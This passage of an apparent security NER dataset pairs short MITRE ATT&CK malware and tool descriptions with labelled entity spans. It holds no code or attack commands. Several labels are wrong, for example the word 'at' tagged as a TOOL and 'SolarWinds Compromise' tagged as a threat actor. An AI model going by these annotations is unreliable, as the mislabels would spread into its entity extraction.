110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0515"}} {"text": "LiteDuke is a third stage backdoor that was used by APT29, primarily in 2014-2015. LiteDuke used the same dropper as PolyglotDuke, and was found on machines also compromised by MiniDuke.", "spans": {"MALWARE: LiteDuke": [[0, 8], [83, 91]], "THREAT_ACTOR: APT29": [[52, 57]], "MALWARE: PolyglotDuke": [[117, 129]], "MALWARE: MiniDuke": [[177, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0513"}} {"text": "Starloader is a loader component that has been observed loading Felismus and associated tools.", "spans": {"MALWARE: Starloader": [[0, 10]], "MALWARE: Felismus": [[64, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0188"}} {"text": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.", "spans": {"MALWARE: Sakula": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0074"}} {"text": "VaporRage is a shellcode downloader that has been used by APT29 since at least 2021.", "spans": {"MALWARE: VaporRage": [[0, 9]], "THREAT_ACTOR: APT29": [[58, 63]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0636"}} {"text": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD.", "spans": {"MALWARE: RawPOS": [[0, 6], [152, 158]], "TOOL: at": [[118, 120]], "ORGANIZATION: FireEye": [[136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0169"}} {"text": "Sibot is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three Sibot variants in early 2021 during its investigation of APT29 and the SolarWinds Compromise.", "spans": {"MALWARE: Sibot": [[0, 5], [186, 191]], "SYSTEM: VBScript": [[41, 49]], "ORGANIZATION: Microsoft": [[159, 168]], "THREAT_ACTOR: APT29": [[243, 248]], "THREAT_ACTOR: SolarWinds Compromise": [[257, 278]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0589"}} {"text": "ZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.", "spans": {"MALWARE: ZxxZ": [[0, 4]], "THREAT_ACTOR: BITTER": [[61, 67]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1013"}} {"text": "Tarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.", "spans": {"MALWARE: Tarrask": [[0, 7], [77, 84]], "THREAT_ACTOR: HAFNIUM": [[41, 48]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1011"}} {"text": "GoBear is a Go-based backdoor that abuses legitimate, stolen certificates for defense evasion purposes. GoBear is exclusively linked to Kimsuky operations.", "spans": {"MALWARE: GoBear": [[0, 6], [104, 110]], "THREAT_ACTOR: Kimsuky": [[136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1197"}} {"text": "WINDSHIELD is a signature backdoor used by APT32.", "spans": {"MALWARE: WINDSHIELD": [[0, 10]], "THREAT_ACTOR: APT32": [[43, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0155"}} {"text": "Drovorub is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by APT28.", "spans": {"MALWARE: Drovorub": [[0, 8]], "SYSTEM: Linux": [[14, 19]], "THREAT_ACTOR: APT28": [[117, 122]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0502"}} {"text": "Shark is a backdoor malware written in C# and .NET that is an updated version of Milan; it has been used by HEXANE since at least July 2021.", "spans": {"MALWARE: Shark": [[0, 5]], "SYSTEM: C#": [[39, 41]], "SYSTEM: .NET": [[46, 50]], "MALWARE: Milan": [[81, 86]], "THREAT_ACTOR: HEXANE": [[108, 114]], "TOOL: at": [[121, 123]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1019"}} {"text": "Bazar is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. Bazar reportedly has ties to TrickBot campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.", "spans": {"MALWARE: Bazar": [[0, 5], [226, 231]], "TOOL: at": [[60, 62]], "MALWARE: TrickBot": [[255, 263]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0534"}} {"text": "PULSECHECK is a web shell written in Perl that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PULSECHECK": [[0, 10]], "SYSTEM: Perl": [[37, 41]], "THREAT_ACTOR: APT5": [[59, 63]], "TOOL: at": [[117, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1108"}} {"text": "Kobalos is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. Kobalos has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. Kobalos was first identified in late 2019.", "spans": {"MALWARE: Kobalos": [[0, 7], [91, 98], [325, 332]], "SYSTEM: Linux": [[62, 67]], "SYSTEM: FreeBSD": [[69, 76]], "SYSTEM: Solaris": [[82, 89]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0641"}} {"text": "BadPatch is a Windows Trojan that was used in a Gaza Hackers-linked campaign.", "spans": {"MALWARE: BadPatch": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0337"}} {"text": "MESSAGETAP is a data mining malware family deployed by APT41 into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords.", "spans": {"MALWARE: MESSAGETAP": [[0, 10]], "THREAT_ACTOR: APT41": [[55, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0443"}} {"text": "RATANKBA is a remote controller tool used by Lazarus Group. RATANKBA has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. RATANKBA has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines.", "spans": {"MALWARE: RATANKBA": [[0, 8], [60, 68], [344, 352]], "THREAT_ACTOR: Lazarus Group": [[45, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0241"}} {"text": "SUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.", "spans": {"MALWARE: SUGARDUMP": [[0, 9], [130, 139]], "THREAT_ACTOR: C0010": [[98, 103]], "TOOL: at": [[163, 165], [288, 290]], "SYSTEM: HTTP": [[257, 261]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1042"}} {"text": "XLoader is an infostealer malware in use since at least 2016. Previously known and sometimes still referred to as Formbook, XLoader is a Malware as a Service (MaaS) known for stealing data from web browsers, email clients and File Transfer Protocol (FTP) applications.", "spans": {"MALWARE: XLoader": [[0, 7], [124, 131]], "TOOL: at": [[47, 49]], "TOOL: FTP": [[250, 253]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1207"}} {"text": "SOUNDBITE is a signature backdoor used by APT32.", "spans": {"MALWARE: SOUNDBITE": [[0, 9]], "THREAT_ACTOR: APT32": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0157"}} {"text": "BADCALL is a Trojan malware variant used by the group Lazarus Group.", "spans": {"MALWARE: BADCALL": [[0, 7]], "THREAT_ACTOR: Lazarus Group": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0245"}} {"text": "hcdLoader is a remote access tool (RAT) that has been used by APT18.", "spans": {"MALWARE: hcdLoader": [[0, 9]], "THREAT_ACTOR: APT18": [[62, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0071"}} {"text": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.", "spans": {"MALWARE: Nidiran": [[0, 7]], "THREAT_ACTOR: Suckfly": [[51, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0118"}} {"text": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.", "spans": {"MALWARE: MoonWind": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0149"}} {"text": "CorKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. CorKLOG is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the CorKLOG DLL (mscorsvc.dll). CorKLOG has established persistence on the system by creating services or with scheduled tasks.", "spans": {"MALWARE: CorKLOG": [[0, 7], [103, 110], [226, 233], [255, 262]], "THREAT_ACTOR: Mustang Panda": [[48, 61]], "TOOL: RAR": [[134, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1235"}} {"text": "Ryuk is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. Ryuk shares code similarities with Hermes ransomware.", "spans": {"MALWARE: Ryuk": [[0, 4], [115, 119]], "TOOL: at": [[100, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0446"}} {"text": "Cryptoistic is a backdoor, written in Swift, that has been used by Lazarus Group.", "spans": {"MALWARE: Cryptoistic": [[0, 11]], "THREAT_ACTOR: Lazarus Group": [[67, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0498"}} {"text": "HermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.", "spans": {"MALWARE: HermeticWiper": [[0, 13]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0697"}} {"text": "ABK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: ABK": [[0, 3]], "THREAT_ACTOR: BRONZE BUTLER": [[42, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0469"}} {"text": "Pysa is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.", "spans": {"MALWARE: Pysa": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0583"}} {"text": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.", "spans": {"MALWARE: Wiper": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0041"}} {"text": "Final1stspy is a dropper family that has been used to deliver DOGCALL.", "spans": {"MALWARE: Final1stspy": [[0, 11]], "MALWARE: DOGCALL": [[62, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0355"}} {"text": "MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.", "spans": {"MALWARE: MgBot": [[0, 5], [107, 112]], "THREAT_ACTOR: Daggerfly": [[65, 74]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1146"}} {"text": "ccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.", "spans": {"MALWARE: ccf32": [[0, 5]], "TOOL: at": [[58, 60]], "THREAT_ACTOR: FunnyDream": [[106, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1043"}} {"text": "Kapeka is a backdoor written in C++ used against victims in Eastern Europe since at least mid-2022. Kapeka has technical overlaps with Exaramel for Windows and Prestige malware variants, both of which are linked to Sandworm Team. Kapeka may have been used in advance of Prestige deployment in late 2022.", "spans": {"TOOL: at": [[81, 83]], "MALWARE: Exaramel for Windows": [[135, 155]], "MALWARE: Prestige": [[160, 168], [270, 278]], "THREAT_ACTOR: Sandworm Team": [[215, 228]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1190"}} {"text": "LockBit 2.0 is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the successor to LockBit Ransomware. LockBit 2.0 has versions capable of infecting Windows and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.", "spans": {"MALWARE: LockBit 2.0": [[0, 11], [151, 162]], "TOOL: at": [[92, 94]], "SYSTEM: Windows": [[197, 204]], "SYSTEM: VMware": [[209, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1199"}} {"text": "OilCheck is a C#/.NET downloader that has been used by OilRig since at least 2022 including against targets in Israel. OilCheck uses draft messages created in a shared email account for C2 communication.", "spans": {"MALWARE: OilCheck": [[0, 8], [119, 127]], "SYSTEM: C#": [[14, 16]], "SYSTEM: .NET": [[17, 21]], "THREAT_ACTOR: OilRig": [[55, 61]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1171"}} {"text": "Zebrocy is a Trojan that has been used by APT28 since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang.", "spans": {"MALWARE: Zebrocy": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]], "TOOL: at": [[54, 56]], "SYSTEM: C#": [[169, 171]], "SYSTEM: VB.NET": [[173, 179]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0251"}} {"text": "Pandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: Pandora": [[0, 7]], "THREAT_ACTOR: Threat Group-3390": [[91, 108]], "TOOL: at": [[115, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0664"}} {"text": "FinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird.", "spans": {"MALWARE: FinFisher": [[0, 9]], "MALWARE: Wingbird": [[272, 280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0182"}} {"text": "SpeakUp is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019.", "spans": {"MALWARE: SpeakUp": [[0, 7]], "SYSTEM: Linux": [[47, 52]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0374"}} {"text": "LunarMail is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with LunarLoader and LunarWeb. LunarMail is designed to be deployed on workstations and can use email messages and Steganography in command and control.", "spans": {"MALWARE: LunarMail": [[0, 9], [192, 201]], "THREAT_ACTOR: Turla": [[46, 51]], "TOOL: at": [[58, 60]], "MALWARE: LunarLoader": [[166, 177]], "MALWARE: LunarWeb": [[182, 190]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1142"}} {"text": "WARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.", "spans": {"MALWARE: WARPWIRE": [[0, 8]], "THREAT_ACTOR: Cutting Edge": [[129, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1116"}} {"text": "CrossRAT is a cross platform RAT.", "spans": {"MALWARE: CrossRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0235"}} {"text": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.", "spans": {"MALWARE: OwaAuth": [[0, 7]], "ORGANIZATION: Microsoft": [[58, 67]], "SYSTEM: Exchange": [[68, 76]], "THREAT_ACTOR: Threat Group-3390": [[124, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0072"}} {"text": "Cadelspy is a backdoor that has been used by APT39.", "spans": {"MALWARE: Cadelspy": [[0, 8]], "THREAT_ACTOR: APT39": [[45, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0454"}} {"text": "Cobalt Strike is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.", "spans": {"TOOL: Cobalt Strike": [[0, 13], [224, 237], [405, 418]], "ORGANIZATION: ATT&CK": [[302, 308]], "TOOL: Metasploit": [[480, 490]], "TOOL: Mimikatz": [[495, 503]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0154"}} {"text": "SampleCheck5000 is a downloader with multiple variants that was used by OilRig including during the Outer Space campaign to download and execute additional payloads.", "spans": {"MALWARE: SampleCheck5000": [[0, 15]], "THREAT_ACTOR: OilRig": [[72, 78]], "THREAT_ACTOR: Outer Space": [[100, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1168"}} {"text": "SUNBURST is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNBURST": [[0, 8]], "ORGANIZATION: SolarWinds": [[56, 66]], "THREAT_ACTOR: APT29": [[115, 120]], "TOOL: at": [[127, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0559"}} {"text": "EvilBunny is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.", "spans": {"MALWARE: EvilBunny": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0396"}} {"text": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign.", "spans": {"MALWARE: Wingbird": [[0, 8]], "MALWARE: FinFisher": [[75, 84]], "THREAT_ACTOR: NEODYMIUM": [[175, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0176"}} {"text": "Cobian RAT is a backdoor, remote access tool that has been observed since 2016.", "spans": {"MALWARE: Cobian RAT": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0338"}} {"text": "HotCroissant is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA. HotCroissant shares numerous code similarities with Rifdoor.", "spans": {"MALWARE: HotCroissant": [[0, 12], [175, 187]], "MALWARE: Rifdoor": [[227, 234]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0431"}} {"text": "ServHelper is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.", "spans": {"MALWARE: ServHelper": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0382"}} {"text": "JCry is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.", "spans": {"MALWARE: JCry": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0389"}} {"text": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.", "spans": {"MALWARE: Unknown Logger": [[0, 14]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0130"}} {"text": "REvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil, which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.", "spans": {"MALWARE: REvil": [[0, 5], [153, 158]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[57, 72]], "TOOL: at": [[132, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0496"}} {"text": "RIPTIDE is a proxy-aware backdoor used by APT12.", "spans": {"MALWARE: RIPTIDE": [[0, 7]], "THREAT_ACTOR: APT12": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0003"}} {"text": "Valak is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.", "spans": {"MALWARE: Valak": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0476"}} {"text": "Samurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.", "spans": {"MALWARE: Samurai": [[0, 7], [82, 89]], "THREAT_ACTOR: ToddyCat": [[52, 60]], "TOOL: at": [[67, 69]], "SYSTEM: C#": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1099"}} {"text": "PinchDuke is malware that was used by APT29 from 2008 to 2010.", "spans": {"MALWARE: PinchDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0048"}} {"text": "Milan is a backdoor implant based on DanBot that was written in Visual C++ and .NET. Milan has been used by HEXANE since at least June 2020.", "spans": {"MALWARE: Milan": [[0, 5], [85, 90]], "MALWARE: DanBot": [[37, 43]], "SYSTEM: .NET": [[79, 83]], "THREAT_ACTOR: HEXANE": [[108, 114]], "TOOL: at": [[121, 123]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1015"}} {"text": "USBStealer is malware that has been used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.", "spans": {"MALWARE: USBStealer": [[0, 10]], "THREAT_ACTOR: APT28": [[44, 49]], "TOOL: at": [[56, 58]], "MALWARE: ADVSTORESHELL": [[222, 235]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0136"}} {"text": "OSX_OCEANLOTUS.D is a macOS backdoor used by APT32. First discovered in 2015, APT32 has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. OSX_OCEANLOTUS.D can also determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: OSX_OCEANLOTUS.D": [[0, 16], [206, 222]], "SYSTEM: macOS": [[22, 27]], "THREAT_ACTOR: APT32": [[45, 50], [78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0352"}} {"text": "OilBooster is a downloader written in Microsoft Visual C/C++ that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute files and for exfiltration.", "spans": {"MALWARE: OilBooster": [[0, 10]], "ORGANIZATION: Microsoft": [[38, 47]], "THREAT_ACTOR: OilRig": [[83, 89]], "TOOL: at": [[96, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1172"}} {"text": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website.", "spans": {"MALWARE: CCBkdr": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0222"}} {"text": "OnionDuke is malware that was used by APT29 from 2013 to 2015.", "spans": {"MALWARE: OnionDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0052"}} {"text": "Taidoor is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks. Taidoor has primarily been used against Taiwanese government organizations since at least 2010.", "spans": {"MALWARE: Taidoor": [[0, 7], [133, 140]], "TOOL: at": [[214, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0011"}} {"text": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SHIPSHAPE": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0028"}} {"text": "Cherry Picker is a point of sale (PoS) memory scraper.", "spans": {"MALWARE: Cherry Picker": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0107"}} {"text": "SUPERNOVA is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of APT29's SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests SUPERNOVA may have been used by the China-based threat group SPIRAL.", "spans": {"MALWARE: SUPERNOVA": [[0, 9], [215, 224]], "SYSTEM: .NET": [[47, 51]], "SYSTEM: C#": [[52, 54]], "THREAT_ACTOR: APT29": [[119, 124]], "ORGANIZATION: SolarWinds": [[127, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0578"}} {"text": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.", "spans": {"MALWARE: P2P ZeuS": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0016"}} {"text": "Kivars is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by BlackTech in a 2010 campaign.", "spans": {"MALWARE: Kivars": [[0, 6]], "THREAT_ACTOR: BlackTech": [[93, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0437"}} {"text": "CaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.", "spans": {"MALWARE: CaddyWiper": [[0, 10]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0693"}} {"text": "Cyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. Cyclops Blink is assessed to be a replacement for VPNFilter, a similar platform targeting network devices.", "spans": {"MALWARE: Cyclops Blink": [[0, 13], [198, 211]], "THREAT_ACTOR: Sandworm Team": [[81, 94]], "TOOL: at": [[101, 103]], "SYSTEM: Office": [[136, 142]], "SYSTEM: SOHO": [[144, 148]], "SYSTEM: WatchGuard": [[177, 187]], "SYSTEM: Asus": [[192, 196]], "MALWARE: VPNFilter": [[248, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0687"}} {"text": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.", "spans": {"MALWARE: PoisonIvy": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0012"}} {"text": "Seasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.", "spans": {"MALWARE: Seasalt": [[0, 7]], "THREAT_ACTOR: APT1": [[43, 47]], "MALWARE: OceanSalt": [[105, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0345"}} {"text": "NativeZone is the name given collectively to disposable custom Cobalt Strike loaders used by APT29 since at least 2021.", "spans": {"MALWARE: NativeZone": [[0, 10]], "TOOL: Cobalt Strike": [[63, 76]], "THREAT_ACTOR: APT29": [[93, 98]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0637"}} {"text": "NanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.", "spans": {"MALWARE: NanoCore": [[0, 8]], "SYSTEM: .NET": [[54, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0336"}} {"text": "TajMahal is a multifunctional spying framework that has been in use since at least 2014. TajMahal is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.", "spans": {"MALWARE: TajMahal": [[0, 8], [89, 97]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0467"}} {"text": "PLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong. PLEAD has also been referred to as TSCookie, though more recent reporting indicates likely separation between the two. PLEAD was observed in use as early as March 2017.", "spans": {"MALWARE: PLEAD": [[0, 5], [142, 147], [261, 266]], "THREAT_ACTOR: BlackTech": [[59, 68]], "MALWARE: TSCookie": [[177, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0435"}} {"text": "Raccoon Stealer is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. Raccoon Stealer has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.", "spans": {"MALWARE: Raccoon Stealer": [[0, 15], [147, 162]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1148"}} {"text": "IPsec Helper is a post-exploitation remote access tool linked to Agrius operations. This malware shares significant programming and functional overlaps with Apostle ransomware, also linked to Agrius. IPsec Helper provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.", "spans": {"MALWARE: IPsec Helper": [[0, 12], [200, 212]], "THREAT_ACTOR: Agrius": [[65, 71], [192, 198]], "MALWARE: Apostle": [[157, 164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1132"}} {"text": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi.", "spans": {"MALWARE: Daserf": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0187"}} {"text": "GoldFinder is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. GoldFinder was discovered in early 2021 during an investigation into the SolarWinds Compromise by APT29.", "spans": {"MALWARE: GoldFinder": [[0, 10], [277, 287]], "SYSTEM: HTTP": [[23, 27]], "TOOL: route": [[68, 73]], "THREAT_ACTOR: SolarWinds Compromise": [[350, 371]], "THREAT_ACTOR: APT29": [[375, 380]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0597"}} {"text": "Carbon is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. Carbon has been selectively used by Turla to target government and foreign affairs-related organizations in Central Asia.", "spans": {"MALWARE: Carbon": [[0, 6], [125, 131]], "THREAT_ACTOR: Turla": [[161, 166]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0335"}} {"text": "LoJax is a UEFI rootkit used by APT28 to persist remote access software on targeted systems.", "spans": {"MALWARE: LoJax": [[0, 5]], "SYSTEM: UEFI": [[11, 15]], "THREAT_ACTOR: APT28": [[32, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": 